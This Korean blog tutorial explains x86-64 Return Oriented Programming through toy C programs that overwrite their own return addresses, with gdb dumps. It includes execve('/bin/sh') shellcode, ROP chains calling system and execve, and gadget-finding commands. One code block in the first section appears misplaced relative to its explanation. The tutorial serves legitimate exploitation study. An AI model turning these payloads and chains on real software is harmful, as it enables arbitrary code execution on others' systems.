본문으로 바로가기

[Linux] Return Oriented Programming (ROP) - x86 64bit

category Pwn/Techniques 2020. 5. 27. 22:28

* 이 글은 stack frame의 구조를 알고 있어야 수월하게 읽을 수 있습니다.

* 이 글은 System V ABI (Application Binary Interface) AMD64 Version 1.0을 기준으로 작성되었습니다.

* 컴파일 command line: gcc test.c -o test -Wl,-z,relro -no-pie -fno-stack-protector -mmanual-endbr -O0 -ggdb

 

 

Last update: 6/25/2020

 

ROP Basic :: RET Overwrite

stack의 return address 값을 조작해 프로그램의 실행 흐름을 변경하는 기법이다.

일반적인 함수의 마지막에는 ret 명령어가 존재한다.

 

gdb-peda$ pd function
Dump of assembler code for function function:
   0x0000000000401136 <+0>:     push   rbp
   0x0000000000401137 <+1>:     mov    rbp,rsp
   0x000000000040113a <+4>:     nop
   0x000000000040113b <+5>:     pop    rbp
   0x000000000040113c <+6>:     ret    
End of assembler dump.

 

retpop rip 와 동일하다. 즉, 함수 stack의 return address 값을 바꾸면 instruction pointer 레지스터를 바꿀 수 있다.

 

먼저 프로그램이 정상적으로 실행되는 경우를 살펴보자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdint.h>
#include <stdlib.h>

void shell() {
    system("/bin/sh");
}

void function() {
    uint64_t s[1];
    s[0] = shell;
}

int main() {
    function();
    return 0;
}

 

function 함수의 ret 명령에 breakpoint를 설정하고 프로그램을 실행하면,

 

[----------------------------------registers-----------------------------------]
RAX0x401136 (<shell>: push   rbp)
RBX0x401170 (<__libc_csu_init>:  endbr64)
RCX0x401170 (<__libc_csu_init>:  endbr64)
RDX0x7ffedd2aafb8 --> 0x7ffedd2ad296 ("SHELL=/bin/bash")
RSI0x7ffedd2aafa8 --> 0x7ffedd2ad280 ("/home/syine/temp/test")
RDI: 0x1 
RBP0x7ffedd2aaeb0 --> 0x0 
RSP0x7ffedd2aaea8 --> 0x401169 (<main+14>:    mov    eax,0x0)
RIP0x40115a (<function+17>:   ret)
R8 : 0x0 
R9 0x7f97c4230d50 (endbr64)
R10: 0x0 
R11: 0x0 
R120x401050 (<_start>:        endbr64)
R130x7ffedd2aafa0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401154 <function+11>:      mov    QWORD PTR [rbp-0x8],rax
   0x401158 <function+15>:      nop
   0x401159 <function+16>:      pop    rbp
=> 0x40115a <function+17>:      ret
   0x40115b <main>:     push   rbp
   0x40115c <main+1>:   mov    rbp,rsp
   0x40115f <main+4>:   mov    eax,0x0
   0x401164 <main+9>:   call   0x401149 <function>
[------------------------------------stack-------------------------------------]
0000| 0x7ffedd2aaea8 --> 0x401169 (<main+14>:   mov    eax,0x0)
0008| 0x7ffedd2aaeb0 --> 0x0 
0016| 0x7ffedd2aaeb8 --> 0x7f97c40350b3 (<__libc_start_main+243>:       mov    edi,eax)
0024| 0x7ffedd2aaec0 --> 0x7f97c424c620 --> 0x5042200000000 
0032| 0x7ffedd2aaec8 --> 0x7ffedd2aafa8 --> 0x7ffedd2ad280 ("/home/syine/temp/test")
0040| 0x7ffedd2aaed0 --> 0x100000000 
0048| 0x7ffedd2aaed8 --> 0x40115b (<main>:      push   rbp)
0056| 0x7ffedd2aaee0 --> 0x401170 (<__libc_csu_init>:   endbr64)
[------------------------------------------------------------------------------]
Legend: codedatarodata, value

Breakpoint 1, 0x000000000040115a in function () at test.c:11
11      }

 

다음에 실행될 코드의 주소인 main+14 (0x401169) 가 rsp (0x7ffedd2aaea8) 에 저장되어 있다.

만약 이 값을 변경한다면 function 함수 실행 후 원하는 주소로 실행 흐름을 변경할 수 있을 것이다.

 

아래와 같이 function의 s[2]에 shell 함수의 주소를 쓰고 프로그램을 실행해 본다. s[2]는 function 함수 stack의 return address 주소를 가리킨다.

(shell+4를 쓰는 이유는 stack의 16byte alignment를 맞춰주기 위함이다.)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdint.h>
#include <stdlib.h>

void gadget() {
    __asm (
        "pop %rdi\n\t"
        "ret\n\t"
    );
}

void function() {
    uint64_t s[1];
    s[2] = (uint64_t)gadget + 4;
    s[3] = (uint64_t)"/bin/sh";
    s[4] = (uint64_t)gadget + 5;
    s[5] = (uint64_t)system;
}

int main() {
    function();

    return 0;
}

 

아까와 마찬가지로 function 함수의 ret 명령에 breakpoint를 설정하고 프로그램을 실행하면,

 

[----------------------------------registers-----------------------------------]
RAX0x40113a (<shell+4>:       lea    rdi,[rip+0xec3]        # 0x402004)
RBX0x401180 (<__libc_csu_init>:       endbr64)
RCX0x401180 (<__libc_csu_init>:       endbr64)
RDX0x7ffe27e295f8 --> 0x7ffe27e2b296 ("SHELL=/bin/bash")
RSI0x7ffe27e295e8 --> 0x7ffe27e2b280 ("/home/syine/temp/test")
RDI: 0x1 
RBP0x7ffe27e294f0 --> 0x0 
RSP0x7ffe27e294e8 --> 0x40113a (<shell+4>:    lea    rdi,[rip+0xec3]        # 0x402004)
RIP0x40115e (<function+21>:   ret)
R8 : 0x0 
R9 0x7f6f3cd1dd50 (endbr64)
R10: 0x0 
R11: 0x0 
R120x401050 (<_start>:        endbr64)
R130x7ffe27e295e0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401158 <function+15>:      mov    QWORD PTR [rbp+0x8],rax
   0x40115c <function+19>:      nop
   0x40115d <function+20>:      pop    rbp
=> 0x40115e <function+21>:      ret
   0x40115f <main>:     push   rbp
   0x401160 <main+1>:   mov    rbp,rsp
   0x401163 <main+4>:   mov    eax,0x0
   0x401168 <main+9>:   call   0x401149 <function>
[------------------------------------stack-------------------------------------]
0000| 0x7ffe27e294e8 --> 0x40113a (<shell+4>:   lea    rdi,[rip+0xec3]        # 0x402004)
0008| 0x7ffe27e294f0 --> 0x0 
0016| 0x7ffe27e294f8 --> 0x7f6f3cb220b3 (<__libc_start_main+243>:       mov    edi,eax)
0024| 0x7ffe27e29500 --> 0x7f6f3cd39620 --> 0x5042200000000 
0032| 0x7ffe27e29508 --> 0x7ffe27e295e8 --> 0x7ffe27e2b280 ("/home/syine/temp/test")
0040| 0x7ffe27e29510 --> 0x100000000 
0048| 0x7ffe27e29518 --> 0x40115f (<main>:      push   rbp)
0056| 0x7ffe27e29520 --> 0x401180 (<__libc_csu_init>:   endbr64)
[------------------------------------------------------------------------------]
Legend: codedatarodata, value

Breakpoint 1, 0x000000000040115e in function () at test.c:11
11      }

 

rsp에 저장된 값이 shell의 주소+4 인 0x40113a임을 확인할 수 있다.

 

ROP Basic :: Return to Shellcode

지금까지 스택의 ret을 수정해 프로그램의 흐름을 변경할 수 있다는 사실을 짚어봤다. 만약 ret에 원하는 위치를 쓸 수 있고 그 위치에 shellcode를 쓸 수 있다면, 공격자가 원하는 코드를 자유자재로 실행할 수 있게 된다.

 

아래의 코드는 function의 ret에 shellcode의 주소를 적어 넣어서 execve("/bin/sh"); 를 실행한다.

* 아래 코드는 DEP를 해제하기 위해 컴파일 옵션에 -z execstack 을 추가해야 합니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdint.h>

char shellcode[27] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";

void function() {
    uint64_t s[1];
    s[2] = (uint64_t)shellcode;
}

int main() {
    function();
    return 0;
}

 

function 함수의 ret 명령에 breakpoint를 설정하고 프로그램을 실행한다.

 

[----------------------------------registers-----------------------------------]
RAX0x404030 --> 0x91969dd1bb48c031
RBX0x401130 (<__libc_csu_init>:       endbr64)
RCX0x401130 (<__libc_csu_init>:       endbr64)
RDX0x7ffc0bdfd408 --> 0x7ffc0bdff296 ("SHELL=/bin/bash")
RSI0x7ffc0bdfd3f8 --> 0x7ffc0bdff280 ("/home/syine/temp/test")
RDI: 0x1 
RBP0x7ffc0bdfd300 --> 0x0 
RSP0x7ffc0bdfd2f8 --> 0x404030 --> 0x91969dd1bb48c031 
RIP0x401117 (<function+17>:   ret)
R8 : 0x0 
R9 0x7fdd27daad50 (endbr64)
R10: 0x0 
R11: 0x0 
R120x401020 (<_start>:        endbr64)
R130x7ffc0bdfd3f0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401111 <function+11>:      mov    QWORD PTR [rbp+0x8],rax
   0x401115 <function+15>:      nop
   0x401116 <function+16>:      pop    rbp
=> 0x401117 <function+17>:      ret
   0x401118 <main>:     push   rbp
   0x401119 <main+1>:   mov    rbp,rsp
   0x40111c <main+4>:   mov    eax,0x0
   0x401121 <main+9>:   call   0x401149 <function>
[------------------------------------stack-------------------------------------]
0000| 0x7ffc0bdfd2f8 --> 0x404030 --> 0x91969dd1bb48c031
0008| 0x7ffc0bdfd300 --> 0x0
0016| 0x7ffc0bdfd308 --> 0x7fdd27baf0b3 (<__libc_start_main+243>:       mov    edi,eax)
0024| 0x7ffc0bdfd310 --> 0x7fdd27dc6620 --> 0x5042200000000 
0032| 0x7ffc0bdfd318 --> 0x7ffc0bdfd3f8 --> 0x7ffc0bdff280 ("/home/syine/temp/test")
0040| 0x7ffc0bdfd320 --> 0x100000000 
0048| 0x7ffc0bdfd328 --> 0x401118 (<main>:      push   rbp)
0056| 0x7ffc0bdfd330 --> 0x401130 (<__libc_csu_init>:   endbr64)
[------------------------------------------------------------------------------]
Legend: codedatarodata, value

Breakpoint 1, 0x0000000000401117 in function () at test.c:8
8      }

 

rsp에 shellcode의 주소인 0x404030이 있다. ret 명령어 이후 rip가 0x404030으로 이동하고 shellcode를 실행시켜 공격자가 shell을 얻을 수 있다.

하지만, -z execstack 옵션을 넣지 않고 컴파일한 뒤 실행하면 아래와 같이 Segmentation Violation signal을 받는다.

 

[-------------------------------------code-------------------------------------]
   0x40402a:    add    BYTE PTR [rax],al
   0x40402c:    add    BYTE PTR [rax],al
   0x40402e:    add    BYTE PTR [rax],al
=> 0x404030 <shellcode>:        xor    eax,eax
   0x404032 <shellcode+2>:      movabs rbx,0xff978cd091969dd1
   0x40403c <shellcode+12>:     neg    rbx
   0x40403f <shellcode+15>:     push   rbx
   0x404040 <shellcode+16>:     push   rsp
[------------------------------------stack-------------------------------------]
0000| 0x7ffff74f16b0 --> 0x0 
0008| 0x7ffff74f16b8 --> 0x7efccad320b3 (<__libc_start_main+243>:       mov    edi,eax)
0016| 0x7ffff74f16c0 --> 0x7efccaf49620 --> 0x5042200000000 
0024| 0x7ffff74f16c8 --> 0x7ffff74f17a8 --> 0x7ffff74f2280 ("/home/syine/temp/test")
0032| 0x7ffff74f16d0 --> 0x100000000 
0040| 0x7ffff74f16d8 --> 0x401118 (<main>:      push   rbp)
0048| 0x7ffff74f16e0 --> 0x401130 (<__libc_csu_init>:   endbr64)
0056| 0x7ffff74f16e8 --> 0xb9871b12d8c0b6b5 
[------------------------------------------------------------------------------]
Legend: codedatarodata, value
Stopped reason: SIGSEGV
0x0000000000404030 in shellcode ()

 

이는 -z execstack 옵션을 넣지 않으면 DEP (NX bit)가 활성화되기 때문이다.

아래는 프로세스의 메모리 매핑 상태를 나타낸 것으로, 첫 번째는 -z execstack 옵션을 넣었을 때, 두 번째는 넣지 않았을 때이다. 옵션을 추가하면 프로세스의 .data section과 stack, libc, linker에 RWX 권한이 있는 것을 확인할 수 있다.

 

gdb-peda$ vmmap
Start              End                Perm      Name
0x00400000         0x00403000         r-xp      /home/syine/temp/test
0x00403000         0x00404000         r-xp      /home/syine/temp/test
0x00404000         0x00405000         rwxp      /home/syine/temp/test
0x00007f7ebdf45000 0x00007f7ebe12c000 r-xp      /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007f7ebe12c000 0x00007f7ebe12d000 ---p      /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007f7ebe12d000 0x00007f7ebe130000 r-xp      /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007f7ebe130000 0x00007f7ebe133000 rwxp      /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007f7ebe133000 0x00007f7ebe139000 rwxp      mapped
0x00007f7ebe156000 0x00007f7ebe182000 r-xp      /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007f7ebe183000 0x00007f7ebe184000 r-xp      /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007f7ebe184000 0x00007f7ebe185000 rwxp      /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007f7ebe185000 0x00007f7ebe186000 rwxp      mapped
0x00007fff78aa9000 0x00007fff78aca000 rwxp      [stack]
0x00007fff78af0000 0x00007fff78af3000 r--p      [vvar]
0x00007fff78af3000 0x00007fff78af4000 r-xp      [vdso]
0xffffffffff600000 0xffffffffff601000 --xp      [vsyscall]

 

gdb-peda$ vmmap
Start              End                Perm      Name
0x00400000         0x00401000         r--p      /home/syine/temp/test
0x00401000         0x00402000         r-xp      /home/syine/temp/test
0x00402000         0x00403000         r--p      /home/syine/temp/test
0x00403000         0x00404000         r--p      /home/syine/temp/test
0x00404000         0x00405000         rw-p      /home/syine/temp/test
0x00007fa2e6cc8000 0x00007fa2e6ced000 r--p      /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007fa2e6ced000 0x00007fa2e6e65000 r-xp      /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007fa2e6e65000 0x00007fa2e6eaf000 r--p      /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007fa2e6eaf000 0x00007fa2e6eb0000 ---p      /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007fa2e6eb0000 0x00007fa2e6eb3000 r--p      /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007fa2e6eb3000 0x00007fa2e6eb6000 rw-p      /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007fa2e6eb6000 0x00007fa2e6ebc000 rw-p      mapped
0x00007fa2e6ed9000 0x00007fa2e6eda000 r--p      /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007fa2e6eda000 0x00007fa2e6efd000 r-xp      /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007fa2e6efd000 0x00007fa2e6f05000 r--p      /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007fa2e6f06000 0x00007fa2e6f07000 r--p      /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007fa2e6f07000 0x00007fa2e6f08000 rw-p      /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007fa2e6f08000 0x00007fa2e6f09000 rw-p      mapped
0x00007ffc6f77d000 0x00007ffc6f79e000 rw-p      [stack]
0x00007ffc6f7e6000 0x00007ffc6f7e9000 r--p      [vvar]
0x00007ffc6f7e9000 0x00007ffc6f7ea000 r-xp      [vdso]
0xffffffffff600000 0xffffffffff601000 --xp      [vsyscall]

 

여기에서, NX bit가 활성화되면 공격의 자유도가 매우 크게 제한된다는 사실을 알 수 있다.

하지만 공격자는 여전히 원하는 코드를 실행시킬 수 있는 방법이 있다. 바로 ROP gadget을 사용하는 방법이다.

 

ROP Basic :: Return Oriented Programming

ROP gadget은 프로세스 바이너리나 라이브러리의 실행 가능한 코드 조각의 일부분으로, ret 으로 끝나는 명령어 집합을 나타낸다. 대표적인 예시로 pop rdi ; ret , pop rsi ; ret 등이 있다.

jmp 로 끝나는 코드 조각을 사용하는 것 역시 상황에 따라 가능하며, 이런 경우의 기법은 JOP (Jump Oriented Programming) 라고 한다.

 

System V ABI AMD64 는 함수의 인자를 rdi, rsi, rdx, rcx, r8, r9 순서로 전달하는 프로토콜을 사용한다.

아래 코드를 보고 ROP gadget이 어떤 방식으로 동작하는지 확인해 보도록 한다. 이 코드는 stack의 ret에 pop rdi ; ret gadget의 주소를 쓰고, ret+8에는 "/bin/sh" 의 주소, ret+0x10에는 ret gadget의 주소 (stack alignment를 맞춰주기 위함), ret+0x18에는 system의 주소를 쓴다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdint.h>
#include <stdlib.h>

void gadget() {
    __asm (
        "pop %rdi\n\t"
        "ret\n\t"
    );
}

void function() {
    uint64_t s[1];
    s[2] = (uint64_t)gadget + 4;
    s[3] = (uint64_t)"/bin/sh";
    s[4] = (uint64_t)gadget + 5;
    s[5] = (uint64_t)system;
}

int main() {
    function();

    return 0;
}

 

컴파일하고 function의 ret 명령어에 breakpoint를 설정한 뒤 실행한다.

 

[-------------------------------------code-------------------------------------]
   0x401143 <function+52>:      mov    QWORD PTR [rbp+0x20],rax
   0x401147 <function+56>:      nop
   0x401148 <function+57>:      pop    rbp
=> 0x401149 <function+58>:      ret
   0x40114a <main>:     push   rbp
   0x40114b <main+1>:   mov    rbp,rsp
   0x40114e <main+4>:   mov    eax,0x0
   0x401153 <main+9>:   call   0x40110f <function>
[------------------------------------stack-------------------------------------]
0000| 0x7ffe4449e0d8 --> 0x40110a (<gadget+4>:  pop    rdi)
0008| 0x7ffe4449e0e0 --> 0x402004 --> 0x68732f6e69622f ('/bin/sh')
0016| 0x7ffe4449e0e8 --> 0x40110b (<gadget+5>:  ret)
0024| 0x7ffe4449e0f0 --> 0x7f8b0297c410 (<__libc_system>:       endbr64)
0032| 0x7ffe4449e0f8 --> 0x7ffe4449e1d8 --> 0x7ffe4449f280 ("/home/syine/temp/test")
0040| 0x7ffe4449e100 --> 0x100000000 
0048| 0x7ffe4449e108 --> 0x40114a (<main>:      push   rbp)
0056| 0x7ffe4449e110 --> 0x401160 (<__libc_csu_init>:   endbr64)
[------------------------------------------------------------------------------]
Legend: codedatarodata, value

Breakpoint 1, 0x0000000000401149 in function () at test.c:17
17      }

 

rsp에 pop rdi ; ret gadget의 주소 0x40110a가 저장되어 있다.

 

[-------------------------------------code-------------------------------------]
   0x401104 <frame_dummy+4>:    jmp    0x401090 <register_tm_clones>
   0x401106 <gadget>:   push   rbp
   0x401107 <gadget+1>: mov    rbp,rsp
=> 0x40110a <gadget+4>: pop    rdi
   0x40110b <gadget+5>: ret
   0x40110c <gadget+6>: nop
   0x40110d <gadget+7>: pop    rbp
   0x40110e <gadget+8>: ret
[------------------------------------stack-------------------------------------]
0000| 0x7ffe4449e0e0 --> 0x402004 --> 0x68732f6e69622f ('/bin/sh')
0008| 0x7ffe4449e0e8 --> 0x40110b (<gadget+5>:  ret)
0016| 0x7ffe4449e0f0 --> 0x7f8b0297c410 (<__libc_system>:       endbr64)
0024| 0x7ffe4449e0f8 --> 0x7ffe4449e1d8 --> 0x7ffe4449f280 ("/home/syine/temp/test")
0032| 0x7ffe4449e100 --> 0x100000000 
0040| 0x7ffe4449e108 --> 0x40114a (<main>:      push   rbp)
0048| 0x7ffe4449e110 --> 0x401160 (<__libc_csu_init>:   endbr64)
0056| 0x7ffe4449e118 --> 0x410502de1da5d1b
[------------------------------------------------------------------------------]
Legend: codedatarodata, value
gadget () at test.c:5
5               __asm(
gdb-peda$ reg rdi
RDI: 0x1

 

pop rdi 를 실행하면 rsp에 위치한 0x402004 값이 rdi에 들어가게 된다. ret 를 실행하면 다음 gadget의 주소인 gadget+5 로 rip가 설정된다.

 

인자 2개를 넘겨주려면 pop rdi ; pop rsi ; ret gadget을 사용할 수 있고, 3개는 pop rdi ; pop rsi ; pop rdx ; ret gadget을 사용할 수도 있다.

아래는 각각 인자 2개와 인자 3개를 필요로 하는 함수들을 ROP로 호출하는 코드이다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdint.h>
#include <stdio.h>

void gadget() {
    __asm (
        "pop %rdi\n\t"
        "pop %rsi\n\t"
        "ret\n\t"
    );
}

void function() {
    uint64_t s[1];
    s[2] = (uint64_t)gadget + 4;
    s[3] = "calling fputs\n";
    s[4] = stderr;
    s[5] = fputs;
}

int main() {
    function();

    return 0;
}

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdint.h>
#include <unistd.h>

void gadget() {
    __asm (
        "pop %rdi\n\t"
        "pop %rsi\n\t"
        "pop %rdx\n\t"
        "ret\n\t"
    );
}

char *argv[2] = {"cat""flag"};

void function() {
    uint64_t s[1];
    s[2] = (uint64_t)gadget + 4;
    s[3] = "/bin/cat";
    s[4] = argv;
    s[5] = 0uLL;
    s[6] = execve;
}

int main() {
    function();

    return 0;
}

 

실제로 공격에 필요한 ROP gadget이 적절하게 주어지는 경우는 매우 드물기 때문에 gadget을 나눠서 써야 하는 경우가 있다.

 

1. 인자 3개를 설정해야 하는데 pop rdi ; pop rsi ; pop rdx ; ret 가 없는 경우, pop rdi ; pop rsi ; retpop rdx ; ret 을 사용

2. 인자 2개를 설정해야 하는데 pop rdi ; pop rdx ; pop rcx ; pop rsi ; ret 가 있는 경우, rdx와 rcx는 임의의 값으로 채우고 rdi와 rsi를 설정

 

ROP Basic :: ROP Chain

어떤 상황에서는 ROP로 함수를 2개 이상 호출해야 할 필요가 있다. 64bit에서는 함수가 레지스터를 통해 전달되기 때문에, 특별히 다른 작업을 할 필요는 없고 ROP payload를 연속으로 배치하면 된다.

 

아래 예시는 ROP로 read를 사용해 전역변수 buf에 최대 0x10의 입력을 받고 puts로 출력한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdint.h>
#include <stdio.h>
#include <unistd.h>

char buf[0x10];

void gadget() {
    __asm (
        "pop %rdx\n\t"
        "pop %rsi\n\t"
        "pop %rdi\n\t"
        "ret\n\t"
    );
}

void function() {
    uint64_t s[1];
    s[2] = (uint64_t)gadget + 4;
    s[3] = 0x10uLL;
    s[4] = &buf;
    s[5] = 0uLL;
    s[6] = read;
    s[7] = (uint64_t)gadget + 6;
    s[8] = &buf;
    s[9] = puts;
}

int main() {
    function();
    return 0;
}

 

How to Find ROP Gadgets

바이너리의 코드를 한 줄씩 살펴가면서 gadget을 찾을 수도 있지만, 몇몇 도구들은 gadget을 알아서 잘 찾아 준다.

 

1. gdb

프로그램이 실행 중인 상태에서 ropgadget을 입력하면 자주 사용되는 gadget의 주소를 알려준다.

 

gdb-peda$ help ropgadget
Get common ROP gadgets of binary or library
Usage:
    ropgadget [mapname]

gdb-peda$ ropgadget
ret = 0x40101a
popret = 0x4010ed
pop2ret = 0x40110b
pop3ret = 0x40110a
addesp_8 = 0x401017
gdb-peda$ ropgadget libc
addesp_1 = 0x7ff8ae310845
addesp_2 = 0x7ff8ae330085
ret = 0x7ff8ae30c679
addesp_4 = 0x7ff8ae3b3ff5
popret = 0x7ff8ae30c6c0
pop2ret = 0x7ff8ae30c6bf
pop3ret = 0x7ff8ae30c6be
addesp_8 = 0x7ff8ae30ea19
addesp_16 = 0x7ff8ae30e524
addesp_20 = 0x7ff8ae32ca15
addesp_24 = 0x7ff8ae30db66
addesp_28 = 0x7ff8ae31a358
addesp_32 = 0x7ff8ae32cb76
addesp_36 = 0x7ff8ae32cc31
addesp_40 = 0x7ff8ae30f1f7
addesp_44 = 0x7ff8ae319c7d
addesp_48 = 0x7ff8ae31b4df
addesp_52 = 0x7ff8ae3f85ee
addesp_56 = 0x7ff8ae31023a
addesp_60 = 0x7ff8ae37b3d9
addesp_64 = 0x7ff8ae33bdeb
...

 

2. rp++

https://github.com/0vercl0k/rp

 

0vercl0k/rp

rp++ is a full-cpp written tool that aims to find ROP sequences in PE/Elf/Mach-O x86/x64 binaries. It is open-source and has been tested on several OS: Debian / Windows 8.1 / Mac OSX Lion (10.7.3)....

github.com

-r 옵션의 인자로 gadget의 최대 명령어의 개수를 지정해 탐색 범위를 설정할 수 있다.

아래는 ROP Basic :: RET Overwrite 의 첫 번째 코드를 컴파일한 바이너리에서 pop 명령어가 포함된 크기 2의 gadget들을 탐색한 결과이다.

 

syine@MinetaLinux:~/temp rp-lin-x64 -f ./test -r 2 | grep -i "pop"
0x0040116c: add byte [rax], al ; pop rbp ; ret  ;  (1 found)
0x0040111b: add byte [rcx], al ; pop rbp ; ret  ;  (1 found)
0x00401116: mov byte [0x0000000000404030], 0x00000001 ; pop rbp ; ret  ;  (1 found)
0x00401169: mov eax, 0x00000000 ; pop rbp ; ret  ;  (1 found)
0x00401146: nop  ; pop rbp ; ret  ;  (1 found)
0x00401158: nop  ; pop rbp ; ret  ;  (1 found)
0x004011d0: pop r14 ; pop r15 ; ret  ;  (1 found)
0x004011d2: pop r15 ; ret  ;  (1 found)
0x0040111d: pop rbp ; ret  ;  (1 found)
0x00401147: pop rbp ; ret  ;  (1 found)
0x00401159: pop rbp ; ret  ;  (1 found)
0x0040116e: pop rbp ; ret  ;  (1 found)
0x004011d3: pop rdi ; ret  ;  (1 found)
0x004011d1: pop rsi ; pop r15 ; ret  ;  (1 found)